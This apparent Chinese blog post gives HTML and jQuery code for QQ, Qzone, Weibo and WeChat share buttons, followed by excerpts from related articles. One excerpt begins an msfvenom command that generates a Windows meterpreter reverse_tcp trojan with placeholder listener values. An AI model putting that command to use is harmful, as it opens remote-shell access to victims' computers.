QQ、微信、微博、空间等分享链接接入
一、HTMl代码
1、隐藏标签用于获取信息
<img style="display:none" id="coverImage" src="@item.Art_HeadImg" />
<input type="hidden" id="description" value="@item.Art_ShortContent">
<div id="qrcode" style="display:none;"></div>
2、放置分享按钮,图片自行百度吧,就不放了
<div class="bdsharebuttonbox share">
<ul>
<li><img src="~/Content/image/qqShare.png" id="QQSHare" /></li>
<li><img src="~/Content/image/zoneShare.png" id="ZoneShare" /></li>
<li><img src="~/Content/image/weiboShare.png" id="WeiboShare" /></li>
<li><img src="~/Content/image/weiChatShare.png" id="WeiChatShare" /></li>
</ul>
</div>
二、JS代码
1、JS代码
<script type="text/javascript">
var qrcode = new QRCode("qrcode", {
text: location.href,
width: 200,
height: 200,
colorDark: "#000000",
colorLight: "#ffffff",
correctLevel: QRCode.CorrectLevel.H
});
//QQ分享
$("#QQSHare").click(function () {
var initUrl = "http://connect.qq.com/widget/shareqq/index.html?url=";
//浏览器网址
var browser = encodeURIComponent(location.href);
//console.log(location);
//文章标题
var title = $(".r-title").text();
//分享图片地址
var coverImage = location.origin + $("#coverImage").attr("src");
//描述
var description = $("#description").val();
initUrl = initUrl + browser + "&sharesource=qzone&title=" + title + "&pics=" + coverImage + "&summary=" + description;// + "&desc=" + description;
//console.log(coverImage);
window.open(initUrl);
//window.open("http://connect.qq.com/widget/shareqq/index.html?url=https://www.dennisdong.top/Article/GetDetail?articleId=30622f5480ad49f78f1556dae8cbc020&sharesource=qzone&title=你的分享标题&pics=你的分享图片地址&summary=你的分享描述&desc=你的分享简述");
});
//QQ空间分享,本地测试链接为localhost会出现标题和内容undefined
$("#ZoneShare").click(function () {
var initUrl = "https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=";
//浏览器网址
var browser = encodeURIComponent(location.href);
//文章标题
var title = $(".r-title").text();
//分享图片地址
var coverImage = location.origin + $("#coverImage").attr("src");
//描述
var description = $("#description").val();
initUrl = initUrl + browser + "&title=" + title + "&pics=" + coverImage + "&summary=" + description;
//console.log(initUrl);
window.open(initUrl);
//https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://zixuephp.net/article-309.html?sharesource=qzone&title=一键分享到QQ空间、QQ好友、新浪微博、微信代码&pics=http://zixuephp.net/uploads/image/20170810/1502335815192079.png&summary=通过各自平台的开发接口,进行参数指定,进行一键分享javascript代码功能
});
//新浪微博
$("#WeiboShare").click(function () {
var initUrl = "http://service.weibo.com/share/share.php?url=";
//浏览器网址
var browser = encodeURIComponent(location.href);
//文章标题
var title = $(".r-title").text();
//分享图片地址
var coverImage = location.origin + $("#coverImage").attr("src");
//描述
var description = $("#description").val();
initUrl = initUrl + browser + "&sharesource=weibo&title=" + title + "&pics=" + coverImage + "&appkey=1343713053";
//console.log(initUrl);
window.open(initUrl);
//http://service.weibo.com/share/share.php?url=你的分享网址&sharesource=weibo&title=你的分享标题&pic=你的分享图片&appkey=你的key,需要在新浪微博开放平台中申请
});
//微信分享
$("#WeiChatShare").click(function () {
layer.open({
type: 1,
title: false,
area: ['200px', '200px'],
shadeClose: true,
closeBtn: false,
content: $('#qrcode')
});
});
</script>
PS:生成二维码需要引入qrcode.min.js文件
<script src=@Url.Content("~/Content/js/plugins/qrcode.min.js?v=" + new Random().NextDouble())></script>
QQ、微信、微博、空间等分享链接接入的更多相关文章
- 分享到微信微博空间等第三方平台的JS代码
分享功能有利于传播更多优质的内容,所以在web项目中也是比较常用的.今天就抽空整理下常用的分享平台的JS代码.这些代码可以在对应平台的官方网站上生成,官网上对分享内容的参数也有详尽说明.这里只对常用的 ...
- Oauth2.0 QQ&微信&微博实现第三方登陆
一.写在前面 目前对于大多数的App或Web网站都支持有第三方登陆这个功能,用户可使用 QQ/ 微信/ 微博 帐号快速登录你的网站,降低注册门槛,为你的网站带来海量新用户.最近在新项目上刚好用到了,在 ...
- 访问量分类统计(QQ,微信,微博,网页,网站APP,其他)
刚准备敲键盘,突然想起今天已经星期五了,有点小兴奋,一周又这么愉快的结束,又可以休息了,等等..我好像是来写Java博客的,怎么变成了写日记,好吧,言归正传. 不知道大家有没有遇到过这样的需求:统计一 ...
- qq 微信 微博 第三方分享
<html> <head> <meta charset="utf-8"> <meta name="viewport" ...
- 分享-QQ/微信/微博(环境搭建)
QQ环境搭建
- QQ 微信 新浪 无法 分享 收集
1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Secur ...
- Python 第三方登录 实现QQ 微信 微博 登录
本人写的AgentLogin,能快速返回QQ.微信.微博第三方用户名信息,主要用于快速登录 用 pip命令安装 pip install AgentLogin 用法 : 导入这个包 from Agent ...
- TP QQ 微信 微博登录
use Org\Util\QQconnect; use Org\Util\Wechatauth; use Org\Util\SaeTOAuthV2; use Org\Util\SaeTClientV2 ...
- [转]QQ空间、新浪微博、腾讯微博等一键分享API链接代码
转自------ 1.新浪微博:http://service.weibo.com/share/share.php?url= count=表示是否显示当前页面被分享数量(1显示)(可选,允许为空)&am ...
- QQ空间、新浪微博、腾讯微博等一键分享API链接代码
1.新浪微博:http://service.weibo.com/share/share.php?url= count=表示是否显示当前页面被分享数量(1显示)(可选,允许为空)&url=将页面 ...
随机推荐
- Go语言核心36讲10
我们在上次讨论了数组和切片,当我们提到数组的时候,往往会想起链表.那么Go语言的链表是什么样的呢? Go语言的链表实现在标准库的container/list代码包中.这个代码包中有两个公开的程序实体- ...
- SQL-GROUP BY语句在MySQL中的一个错误使用被兼容的情况
首先创建数据库hncu,建立stud表格. 添加数据: create table stud(sno varchar(30) not null primary key,sname varchar(30) ...
- 【项目案例】配置小型网络WLAN基本业务示例
组网需求 如图1-1所示,AC直接与AP连接.现某企业分支机构为了保证工作人员可以随时随地的访问Internet,需要通过部署WLAN基本业务实现移动办公. 具体要求如下: 1.提供名为"t ...
- bugku web基础$_GET
让我们通过url传入what的值,让其等于flag 直接构造url就得到flag了
- odoo关于计算字段store=True时导致的安装/更新时间较长问题的解决方案
Odoo安装/更新模块原理 Odoo每次安装/更新模块时,会进行以下几步处理: 1.判断是否需要创建表,如果需要创建且表不存在,则进行表的创建(不进行字段的创建): 2.获取该表中已经存在的字段: 3 ...
- Idea中Git的常用操作及可能存在的问题
一.使用 1.从git上下载项目 (1)默认branch下载(pull) (2)指定branch下载 (3)克隆远程仓库到本地(git clone) git clone https://github. ...
- Qt多线程开发总览,既然用到了就记录一下
多线程 在LBD_VM_Intercom中使用的一个简单的实例 陶工给的dll需要进行异步操作才可以将视频画面附到窗体上,必须得在画面出现之后才可以附加画面,否则就有可能出现意外bug,所以需要在这个 ...
- 监听Windows(生成木马)
sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...
- Spring中11个最常用的扩展点,你知道几个?
前言 在使用spring的过程中,我们有没有发现它的扩展能力很强呢? 由于这个优势的存在,使得spring具有很强的包容性,所以很多第三方应用或者框架可以很容易的投入到spring的怀抱中.今天我们主 ...
- java计算器༼༎ຶᴗ༎ຶ༽༼༎ຶᴗ༎ຶ༽༼༎ຶᴗ༎ຶ༽༼༎ຶᴗ༎ຶ༽,又是掉发的一天
题目: 给你一个字符串表达式 s ,请你实现一个基本计算器来计算并返回它的值. 注意:不允许使用任何将字符串作为数学表达式计算的内置函数,比如 eval() . 示例 1: 输入:s = " ...